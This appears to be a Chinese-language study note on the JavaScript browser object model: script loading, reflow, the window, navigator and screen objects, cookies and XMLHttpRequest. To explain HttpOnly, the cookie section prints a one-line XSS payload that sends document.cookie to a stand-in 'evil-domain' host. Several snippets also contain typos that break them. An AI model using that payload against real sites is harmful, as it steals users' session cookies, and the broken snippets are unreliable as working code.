10-1-BOM
第十章 BOM¶
统计信息:字数 34511 阅读70分钟
2021-11-24 2023-04-11
10.1 BOM基本原理¶
概念¶
JS 代码嵌入网页有四种方法:
- script 嵌入内部代码,type = 'text/javascript' 说明脚本的类型。早期浏览器使用 'text/javascript' 新浏览器推荐使用 'application/javascript'。如果是其他参数,脚本不会执行(可以利用这个方法,传入其他信息,使用DOM方法获取脚本内容)
- script 嵌入外部代码,设置 src 属性是外部的JS代码。如果内部外部同时使用,内部代码不会生效。script 脚本可以添加一个 integrity 属性,写入脚本的哈希签名,验证外部脚本的一致性,避免外部脚本篡改。
- HTML 行内代码:事件触发后可以执行脚本
onclick='console.log('click');'
- A 内部:
<a href="javascript:console.log('Hello')">点击</a>
如果 JavaScript 代码返回一个字符串,浏览器就会新建一个文档,展示这个字符串的内容,原有文档的内容都会消失。
脚本执行原理:
- 浏览器下载HTML,下载并开始解析
- 遇到 JS 代码,停止HTML解析;开始JS解析;如果是外部JS代码,需要下载完毕后解析JS。如果下载时间较长,会产生阻塞。所以通常把JS脚本放在页面底部。如果在头部加载,DOM没有渲染,可能JS出错
- 解析JS完毕后,继续解析HTML界面
浏览器对于同一个域名下的资源数量有限制,为了避免服务器请求过多;如果资源很多,可以放在不同的域名下。
defer 属性¶
外部的脚本,如果添加了defer属性,就会在HTML下载解析结束后再执行这个脚本。浏览器解析HTML和下载脚本过程是并行的,这样会避免阻塞。
async 属性¶
浏览器遇到async属性的脚本,会使用另一个进程下载脚本,下载过程中不会造成阻塞。下载JS任务和解析HTML是并行的。当脚本下载完毕,暂停DOM渲染,执行JS脚本。执行完毕后,继续界面的DOM渲染。注意:如果多脚本异步下载,先下载的脚本会先执行。
defer 和 async 使用:如果脚本间有较强的依赖性(babel react)需要使用defer(设置async属性是false),如果脚本间没有依赖性,可以使用 async。
加载协议¶
默认协议是HTTP协议,可以在Scr属性中设置其他协议下载,或者根据界面自身的协议下载。
<script src="https://test.js"></script>
<script src="//example.js"></script>
浏览器组成¶
浏览器有DOM渲染引擎和JS解释器(JS引擎)组成
渲染引擎:Firefox:Gecko;Safari:WebKit ;Chrome:Blink ;IE: Trident ;Edge: EdgeHTML
渲染引擎工作流程:HTML解析成DOM,CSS解析成CSSOM(object model),将这两部分合成渲染树(render tree),计算渲染树的布局(layout),将渲染树绘制到屏幕。这几部分不是完全先后执行的,可能一部分已经渲染,另一部分HTML还在下载
重绘和重流¶
布局(布局流,flow)和绘制(paint):渲染树转化成网页布局(layout)的过程叫布局,网页布局(layout)转化成屏幕显示叫绘制。这两部分会阻塞并且消耗性能。
重绘和重流:页面首次生成后,操作脚本和样式表会造成界面的重流或重绘。重流必然造成重绘,重绘不会造成重流。如果改变文字颜色,页面的布局不会改,所以不会重流,只会重绘。如果改变文本内容,界面布局会改变,会重流重绘。浏览器会对比改变前后的渲染树的差别,计算出变化的部分diff,不会重新加载整个网页,只渲染一部分子树。开发中尽量减少重流和重绘,尽量不要改变顶层的DOM节点,table布局和flex布局会消耗性能。
性能优化¶
-
读取 DOM 或者写入 DOM,尽量写在一起,不要混杂。不要读取一个 DOM 节点,然后立刻写入,接着再读取一个 DOM 节点。使用
documentFragment
操作 DOM,使用虚拟 DOM(virtual DOM)库。缓存 DOM 信息。 -
不要一项一项地改变样式,而是使用 CSS class 一次性改变样式。动画使用
absolute
定位或fixed
定位,这样可以减少对其他元素的影响。只在必要时才显示隐藏元素。 -
使用
window.requestAnimationFrame()
,因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流。
function doubleHeight(ele) {
let currentHeight = ele.clientHeight;
window.requestAnimationFrame(() => {
// 可以把代码所有的写操作几种到一起,这样会减少DOM变动的开销,重绘代价少
ele.style.height = (currentHeight * 2) + 'px';
});
}
elements.forEach(doubleHeight);
JS 引擎¶
JS是解析型语言。早期浏览器内部对 JavaScript 的处理过程如下:
- 读取代码,进行词法分析(Lexical analysis),将代码分解成词元(token)。
- 对词元进行语法分析(parsing),将代码整理成“语法树”(syntax tree)。
- 使用“翻译器”(translator),将代码转为字节码(bytecode)。
- 使用“字节码解释器”(bytecode interpreter),将字节码转为机器码。
逐行解释将字节码转为机器码,是很低效的。为了提高运行速度,现代浏览器改为采用“即时编译”(Just In Time compiler,缩写 JIT),即字节码只在运行时编译,用到哪一行就编译哪一行,并且把编译结果缓存(inline cache)。通常,一个程序被经常用到的,只是其中一小部分代码,有了缓存的编译结果,整个程序的运行速度就会显著提升。
字节码不能直接运行,而是运行在一个虚拟机(Virtual Machine)之上,一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码,有的 JavaScript 虚拟机基于源码,即只要有可能,就通过 JIT(just in time)编译器直接把源码编译成机器码运行,省略字节码步骤。这一点与其他采用虚拟机(比如 Java)的语言不尽相同。这样做的目的,是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机: V8 (Chrome, Chromium)
10.2 window 对象¶
window对象和JS中普通对象类似,具有属性和方法,也会触发事件。
window对象是当前浏览器窗口的顶层对象。如果一个没有声明的变量直接使用,就会自动转化成顶层对象的属性(window的属性)。
属性¶
常规属性
- window.name 表示当前浏览器窗口的名字(字符串,容量可以高达几MB);只要浏览器窗口不关闭,跳转另一个页面(或者刷新当前窗口),前一个浏览器窗口名字设置不会变化。
- window.closed 判断窗口是否关闭(可以监测使用脚本打开的新窗口是否关闭)
- window.opener 属性表示打开当前窗口的父窗口 如果没有父窗口,就返回 null。如果两个窗口不需要通信,就设置子窗口 window.opener === null 这样可以切断父窗口的联系。元素添加rel="noopener"属性,可以防止新打开的窗口获取父窗口,减轻被恶意网站修改父窗口 URL 的风险。
- window.self
- window.window 指向本身
- window.status 读取浏览器状态栏的文本(兼容早期浏览器)
<a href="https://an.evil.site" target="_blank" rel="noopener"></a>
框架的属性
- window.frames 返回当前页面内所有的框架窗口(伪数组) 包括 frame iframe
- window.length 返回框架窗口的数量
- window.frameElement 如果一个窗口被嵌入另一个窗口,这个属性返回原始的父窗口。如果当前窗口是顶层窗口,或者和父窗口不是同源的,那么返回值是null。
- window.top 执行顶层窗口。主要用于框架窗口中获取顶层窗口,如果没有框架,返回window
- window.parent 返回父窗口;如果没有父窗口,返回自身
高清屏幕的属性
- window.devicePixelRatio 返回显示像素和物理像素的比值:如果比例较大,说明处于高清屏幕(当前是2)
位置属性
- window.screenX screenY 浏览器左上角相对于屏幕的位置
- window.innerHeight window.innerWidth 浏览器视口的尺寸(包括滚动条)如果界面变成200%, 那么视口会变小
- window.outerHeight window.outerWidth 浏览器窗口的尺寸(包括菜单栏和border)
- window.scrollX scrollY
组件属性:获取浏览器的组件对象(状态栏地址栏工具栏等)
全局对象属性:document/location/navigator/history/localStorage/sessionStorage/console/screen
window.isSecureContext 返回是否处于加密状态(https)
方法¶
window.alert() window.confirm() window.prompt()
window.open(url, windowName, windowFeature) window.close() 关闭当前的窗口 window.stop() 停止当前窗口的加载(等价于浏览器停止按钮)
第二个参数:windowName:字符串,表示新窗口的名字。如果该名字的窗口已经存在,则占用该窗口,不再新建窗口。如果省略,就默认使用_blank,表示新建一个没有名字的窗口。另外还有几个预设值,_self表示当前窗口,_top表示顶层窗口,_parent表示上一层窗口。
open()方法的第二个参数虽然可以指定已经存在的窗口,但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制,浏览器只有在两个窗口同源,或者目标窗口被当前网页打开的情况下,才允许open方法指向该窗口。如果新窗口和父窗口不是同源的(即不在同一个域),它们彼此不能获取对方窗口对象的内部属性。
第三个参数表示新打开窗口的属性,是一个字符串(array.join(',')),属性见 https://wangdoc.com/javascript/bom/window.html
var popup = window.open(
'somepage.html',
'DefinitionsWindows',
'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);
window.moveTo()
window.moveBy()
把当前窗口移动到某个坐标,或者移动某个位移,这个窗口必须是新建的窗口
window.resizeTo(window.screen.availWidth / 2, window.screen.availHeight / 2)
window.resizeBy(-100, -200)
当前窗口缩放到某个尺寸(屏幕的一半)
window.scrollTo window.scrollBy
window.print()
window.focus() window.blur() 通常打开一个新窗口并获得焦点(显示在页面最前面)
let selectionObj = window.getSelection();
let text = selectionObj.toString();
window.getComputedStyle()
window.matchMedia()
window.requestAminationFrame()
这个方法类似于 setTimeout 会推迟函数到浏览器下一次重流时执行,执行完才会进行下一次重绘,这个函数没有设定时间,浏览器可以根据设备的速度调节执行的时间。如果函数改变网页的布局,可以使用这个方法,这样可以节省系统资源,使得网页效果更加平滑。
window.requestAnimationFrame(callback) 回调函数可以获取一个时间戳,表示距离网页加载的时间
window.requestAnimationFrame()
的返回值是一个整数,这个整数可以传入window.cancelAnimationFrame(),用来取消回调函数的执行。下面是一个界面动画
var element = document.getElementById('animate');
element.style.position = 'absolute';
var start = null;
function step(timestamp) {
if (!start) {
start = timestamp;
}
var progress = timestamp - start;
// 元素不断向左移,最大不超过200像素
element.style.left = Math.min(progress / 10, 200) + 'px';
// 如果距离第一次执行不超过 2000 毫秒,
// 就继续执行动画
if (progress < 2000) {
window.requestAnimationFrame(step);
}
}
window.requestAnimationFrame(step);
window.requestIdleCallback()
window.requestIdleCallback()
跟setTimeout
类似,也是将某个函数推迟执行,但是它保证将回调函数推迟到系统资源空闲时执行。也就是说,如果某个任务不是很关键,就可以使用window.requestIdleCallback()
将其推迟执行,以保证网页性能。
它跟window.requestAnimationFrame()
的区别在于,后者指定回调函数在下一次浏览器重排时执行,问题在于下一次重排时,系统资源未必空闲,不一定能保证在16毫秒之内完成;window.requestIdleCallback()
可以保证回调函数在系统资源空闲时执行。
该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间,如果过了这个时间,回调函数不管系统资源有无空虚,都会执行。
window.requestIdleCallback(callback[, options])
callback
参数是一个回调函数。该回调函数执行时,系统会传入一个IdleDeadline
对象作为参数。IdleDeadline
对象有一个didTimeout
属性(布尔值,表示是否为超时调用)和一个timeRemaining()
方法(返回该空闲时段剩余的毫秒数)。
options
参数是一个配置对象,目前只有timeout
一个属性,用来指定回调函数推迟执行的最大毫秒数。该参数可选。
window.requestIdleCallback()
方法返回一个整数。该整数可以传入window.cancelIdleCallback()
取消回调函数。
下面是一个例子。
requestIdleCallback(myNonEssentialWork);
function myNonEssentialWork(deadline) {
while (deadline.timeRemaining() > 0) {
doWorkIfNeeded();
}
}
上面代码中,requestIdleCallback()
用来执行非关键任务myNonEssentialWork
。该任务先确认本次空闲时段有剩余时间,然后才真正开始执行任务。
下面是指定timeout
的例子。
requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });
上面代码指定,processPendingAnalyticsEvents
必须在未来2秒之内执行。
如果由于超时导致回调函数执行,则deadline.timeRemaining()
返回0
,deadline.didTimeout
返回true
。
如果多次执行window.requestIdleCallback()
,指定多个回调函数,那么这些回调函数将排成一个队列,按照先进先出的顺序执行。
事件¶
window.onload = function() {
//
}
window.onerror = function(message, filename, lineno, colno, error) {
// JS脚本错误会触发onerror
}
多窗口操作¶
一个网页可以使用iframe嵌入其他网页,这样一个界面会嵌套多层网页(这个技术现在过时了)。
通过下面的属性判断是否是顶层窗口:window.top window.parent window.self
if (window.top === window.self) {
// 当前窗口是顶层窗口
}
<a href="somepage.html" target="_top">Link</a> 表示在顶层窗口打开链接
iframe 元素
let iframe = document.getElementBuId('#frame');
let innerWindow = iframe.contentWindow;
let innerDocument = iframe.contemtDocument;
innerWindow.frameElement === iframe
// 获取子窗口的window对象
// 如果在同源的情况下,可以获取内部window的属性
innerWindow.title
如果父窗口和子窗口处于同源时,两个窗口间可以直接通信
window.frames 可以获取当前窗口中全部子窗口的伪数组
10.3 Navigator¶
Navigator 这个对象可以反映用户浏览器和系统信息
Navigator.userAgent // "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36" 获取浏览器的厂商和基本信息。以前通过这个属性获取用户浏览器名称来处理兼容性。现在由于PC端版本复杂,一般不使用了。现在通过功能识别的方式,获取浏览器信息。可以通过这个属性判断手机浏览器和PC端大类
var ua = navigator.userAgent.toLowerCase();
if (/mobi/i.test(ua)) {
// 手机浏览器
} else {
// 非手机浏览器
}
/mobi|android|touch|mini/i.test(ua)
Navigator.plugins 返回一个伪数组,是浏览器的插件(flash)
Navigator.platform 用户操作系统 "Linux x86_64" 但是自己测试不生效
Navigator.onLine 返回用户在线或者离线 如果是false,肯定离线;如果是true,可能用户所在局域网也是离线的,可以通过事件监听获取用户在线情况
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });
Navigator.language,Navigator.languages 表示用户的首选语言,和可以接受的语言(浏览器翻译界面使用)
Navigator.geolocation 包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用。
Geolocation 对象提供下面三个方法。
Geolocation.getCurrentPosition():得到用户的当前位置
Geolocation.watchPosition():监听用户位置变化
Geolocation.clearWatch():取消watchPosition()方法指定的监听函数
注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。
Navigator.cookieEnabled 这个属性反映的是浏览器总的特性
下面是常见的方法
Navigator.javaEnabled() 返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。
Navigator.sendBeacon() 用于向服务器异步发送数据
10.4 Screen¶
Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen
属性指向这个对象。
Screen.height
:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。Screen.width
:浏览器窗口所在的屏幕的宽度(单位像素)。Screen.availHeight
:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height
减去那些被系统组件的高度。Screen.availWidth
:浏览器窗口可用的屏幕宽度(单位像素)。Screen.pixelDepth
:整数,表示屏幕的色彩位数,比如24
表示屏幕提供24位色彩。Screen.colorDepth
:Screen.pixelDepth
的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。Screen.orientation
:返回一个对象,表示屏幕的方向。该对象的type
属性是一个字符串,表示屏幕的具体方向,landscape-primary
表示横放,landscape-secondary
表示颠倒的横放,portrait-primary
表示竖放,portrait-secondary
。
下面是Screen.orientation
的例子。具体的内容参考:
https://www.cnblogs.com/ndos/p/8245164.html
https://www.cnblogs.com/crafts/articles/5750522.html
window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }
下面的例子保证屏幕分辨率大于 1024 x 768。
if (window.screen.width >= 1024 && window.screen.height >= 768) {
// 分辨率不低于 1024x768
}
下面是根据屏幕的宽度,将用户导向不同网页的代码。
if ((screen.width <= 800) && (screen.height <= 600)) {
window.location.replace('small.html');
} else {
window.location.replace('wide.html');
}
10.5 Cookie¶
概述¶
cookie 是服务器在浏览器存储的很小的文本信息,通常小于4KB, 浏览器发出请求时,会附带cookie。
服务器可以判断两次的请求是否来源于一个浏览器,可以保存用户自定义设置(语言,侧栏宽度,风格),保存token。
注意:cookie 很小,不适合保存大量数据,如果cookie很大影响性能(大量存储放在storage中)。
cookie包括:
- Cookie 的名字
- Cookie 的值(真正的数据写在这里面)
- 到期时间
- 所属域名(默认是当前域名):如果是某个域名下的cookie,URL必须是这个域名才能携带这部分cookie
- 生效的路径(默认是当前网址)
可以通过 window.navigator.cookieEnabled 判断浏览器是否支持cookie。
根据同源策略:两个网址只要域名和端口相同可以共享cookie(协议不同也可以)
cookie 与 http¶
浏览器发出请求,服务器在响应头中可以设置cookie(可以设置多个cookie) 如果服务器端想改一个cookie,需要域名和路径完全相同才能改。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: token=sdfghjklertyuiop
Set-Cookie: tasty_cookie=strawberry
Set-Cookie: key1=value2; domain=example.com; path=/blog
浏览器发出请求时,就会携带cookie;服务器获取cookie后,不能判断cookie的过期时间和路径
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: token=sdfghjklertyuiop; yummy_cookie=choco; tasty_cookie=strawberry
属性¶
Expires Expires 表示cookie的过期时间,浏览器根据本地时间确定cookie是否过期(本地时间可能不准确);
Max-Age Max-age 表示从现在开始,cookie 存在的秒数(7天内登录);如果不设置这两个属性,那么 cookie 就是 session(对话) cookie,就在本次对话结束后销毁。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Domain 说明cookie的域名和路径,只有满足这个域名后,发送请求才添加cookie;
Path 只有URL中包括路径才添加cookie(前提是同源策略,域名和端口号一致)
Secure 只有协议是HTTPS才保存cookie,如果是http请求,浏览器会忽略这个cookie
HTTPOnly 只有http请求才能获取并发送当前的cookie,不能通过脚本获取cookie,避免恶意脚本跨站注入攻击。这里创建一个空图片,并把cookie发送到一个危险网站(用户名和密码);如果设置了一个 Cookie 的HttpOnly
属性,JS代码就不会读到该 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
document.cookie 获取当前的cookie(HttpOnly属性不设置时可以获取)获取的是cookie字符串,需要转化
var cookies = document.cookie.split(';');
这个属性可写(可以通过脚本对当前网站添加Cookie)写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent
方法达到。document.cookie
一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。如果添加多个属性,可以先转化成数组,改变数组,最后保存cookie的值(例如界面评论栏的宽度);写入cookie 时可以同时写入相关属性(过期时间)
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。删除一个现存 Cookie 的唯一方法,是设置它的expires
属性为一个过去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
10.6 XMLHttpequest¶
概述¶
Ajax: 异步JS和XML;脚本发起通信,就是ajax。
步骤:创建XMLHttpRequest实例对象,发送请求,服务器响应,获取数据更新界面。
现在ajax返回的数据不是XML格式,通常是JSON格式,但是ajax还保留。现在不仅仅是http协议,file ftp 协议也可以,发送的数据格式不限制。ajax只能向同源网址(协议域名端口相同)发送请求,如果跨域会报错。
下面是原生ajax发送get请求:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
console.log(xhr.status);
cosnole.log(xhr.statusText);
}
}
};
xhr.omerror = function() {
console.error(xhr.statusText);
};
xhr.open('GET', 'http://example.com/page.php', true);
// 第三个参数表示异步发送请求
xhr.send(null);
// get 请求不带参数
上面的案例在 example.com 请求,可以获取下面的返回值。如果不是同源,会显示CORS阻止。
The page at 'https://wangdoc.com/javascript/bom/xmlhttprequest.html' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://www.example.com/page.php'. This request has been blocked; the content must be served over HTTPS.
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is established to be used for illustrative examples in documents. You may use this
domain in examples without prior coordination or asking for permission.</p>
<p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
实例属性¶
xhr.readyState 表示请求的状态,4表示请求已经完成,属性变化时, xhr.onreadystatechange 会捕获到这个事件 xhr.response 服务器返回的数据,如果请求状态是4,就是全部返回的数据;如果请求没有结束(3),这个参数就是返回的部分数据;可以使任何的数据类型 xhr.responseType 表示服务器返回的数据类型,属性可写,默认是text。在open方法后,send方法前可以改变这个参数,参数可以取下面的值。
"arraybuffer":ArrayBuffer 对象,表示服务器返回二进制数组。(使用数组的方式处理二进制数据,例如图片) "blob":Blob 对象,表示服务器返回二进制对象。适合图片传递。 "document":Document 对象,表示服务器返回一个文档对象。操作DOM时,直接返回document可以加载到界面中(需要打开CORS) "json":JSON 对象。 "text":字符串。直接处理比较方便
let xhr = new XMLHttpRequest();
xhr.open('GET', 'path/iamge/test.png', true);
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
if (xhr.readystate === 4 && xhr.status === 200) {
let res = xhr.response;
let blob = new Blob([res], {type: 'image/png'});
// or let blob = xhr.response
}
}
xhr.send();
// 二进制数组 arraybuffer 处理图片的请求
xhr.open('GET', 'to/test.png', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function() {
let uInt8Array = new Uint8Array(this.response);
for (var i = 0, len = binStr.length; i < len; ++i ) {
var byte = uInt8Array[i];
}
}
下面实例属性是服务器返回值属性
xhr.responseText 服务器返回的字符串(如果返回的不是txt文本,这个属性是null)
xhr.responseXML (首先设置responseType === document) 这个属性是解析后的DOM树
xhr.responseURL 获取服务器的网址:通常和open中参数相同,网页跳转后,这个网址就是实际返回数据的网址。
xhr.status 返回HTTP状态码
xhr.statusText “OK”和“Not Found” 对应200和404
xhr.timeout 设置毫秒数,如果请求超时,停止请求(下面是例子)
var xhr = new XMLHttpRequest();
xhr.ontimeout = function (e) {
console.error(e);
};
xhr.onload = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
// 处理服务器返回的数据
} else {
console.error(xhr.statusText);
}
}
};
xhr.open('GET', url, true);
xhr.timeout = 10 * 1000; // 指定 10 秒钟超时
xhr.send(null);
下面是事件监听属性
XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数
XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数
这个事件对象具有三个属性:loaded total lengthComputable(布尔值,表示加载的进度是否可以计算)这里可以使用 loaded/total 获取已加载的百分比
XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数
XMLHttpRequest.onerror:error 事件(请求失败)的监听函数
XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数
XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数
XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数
xhr.withCredentials 表示跨域请求时,用户信息(cookie)是否包含在请求头中(默认是false)如果是同域请求,不需要设置这个属性 浏览器设置 xhr.withCredentials = true; 服务器会返回 Access-Control-Allow-Credentials: true
上传文件时,可以获取上传的进度,使用 upload 获取上传的进度
<process min="0" max="100" value="0">0%</process>
function upload(blobOrFile) {
let xhr = new XMLHttpRequest();
xhr.open('POST', '/server', true);
xhr.onload = function(e) {
console.log(e);
}
let progressBar = document.querySelector('progress');
xhr.upload.onprogress = function(e) {
progressBar.value = (e.loaded/e.total) * 100;
progressBar.textContent = progressBar.value; // 兼容老浏览器
}
xhr.send(blobOrFile);
}
let file = new Blob(['hello world']);
upload(file, {type: 'text/plain'});
实例方法¶
-
xhr.open('GET', url, true, userName, password) 传输的方法,URL,是否异步(默认是异步),用户名和密码(后两个参数可选)如果对使用过open的xhr再次使用open,相当于 abort 关闭这个请求。
-
xhr.sned(data); 如果是get请求,只发送URL,这里直接传null即可。如果是post请求,这里需要传入数据。数据的格式可以是blob DOM string arraybuffer formdata(表单更常用)
var formData = new FormData();
formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);
xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(formData);
- xhr.setRequestHeader('Content-Type', 'application/json'); 设置请求头的信息,必须位于xhr.open() 和 xhr.send() 之间。第一个参数是字段名,第二个是字段值。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
这里设置了数据类型是JSON,设置数据的长度。改进:stringify 耗时,可以执行一次
-
xhr.overrideMimeType('text/plain') 这个方法尽量不要使用;如果指定某一个数据类型,返回的数据是text/xml,但是各种原因造成浏览器解析不成功,需要获取原始数据,那么就设置这个属性。如果希望服务器返回指定的数据类型,可以用
responseType
属性告诉服务器。 -
xhr.getResponseHeader('Last') 获取响应头的信息
xhr.onload = () => {
console.log(this.getResponseHeader('Last-Modified'));
}
- xhr.getAllResponseHeaders() 获取响应头的全部信息(字符串)
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n
可以处理这个字符串获取信息
var headerString = xhr.getAllResponseHeaders();
let arr = headerString.trim().split(/[\r\n]+/);
let headerInfo = {};
arr.forEach((item) => {
let parts = item.split(': ');
let key = parts.shift();
let value = parts.join(': ');
headerInfo[key] = value;
});
- xhr.abort() 终止发送的请求,此时 readyState is 4, status is 0.
实例事件¶
- readystatechange === 4 请求成功,可以获取服务器返回的数据
- progress 返回上传的进度 xhr.addEventListener('progress', updateProgress);
- load abort error
- loadend 上面三个事件后,会触发这个事件,但是不确定是否加载成功
- timeout 超时事件
Navigator.sendBeacon()¶
如果在界面关闭时,需要发送请求,那么请求是异步的,可能界面已经卸载了才发送请求,这样会造成错误。传统的解决思路是设置一个睡眠函数或者消耗函数拖延时间,但是用户体验和浏览器性能不好。
// a time-consuming operation, bad
for (let i = 1; i < 10000; i++) {
for (let m = 1; m < 10000; m++) {
continue;
}
}
所以使用 Navigator.sendBeacon() 方法:这个方法还是异步发出请求,但是请求与当前页面线程脱钩,作为浏览器进程的任务,因此可以保证会把数据发出去,不拖延卸载流程。
// <body onload="analytics('start')" onunload="analytics('end')">
function analytics(state) {
if (!navigator.sendBeacon) {
return;
}
var data = 'state=' + state + '&location=' + window.location;
navigator.sendBeacon('http://example.com/analytics', data);
}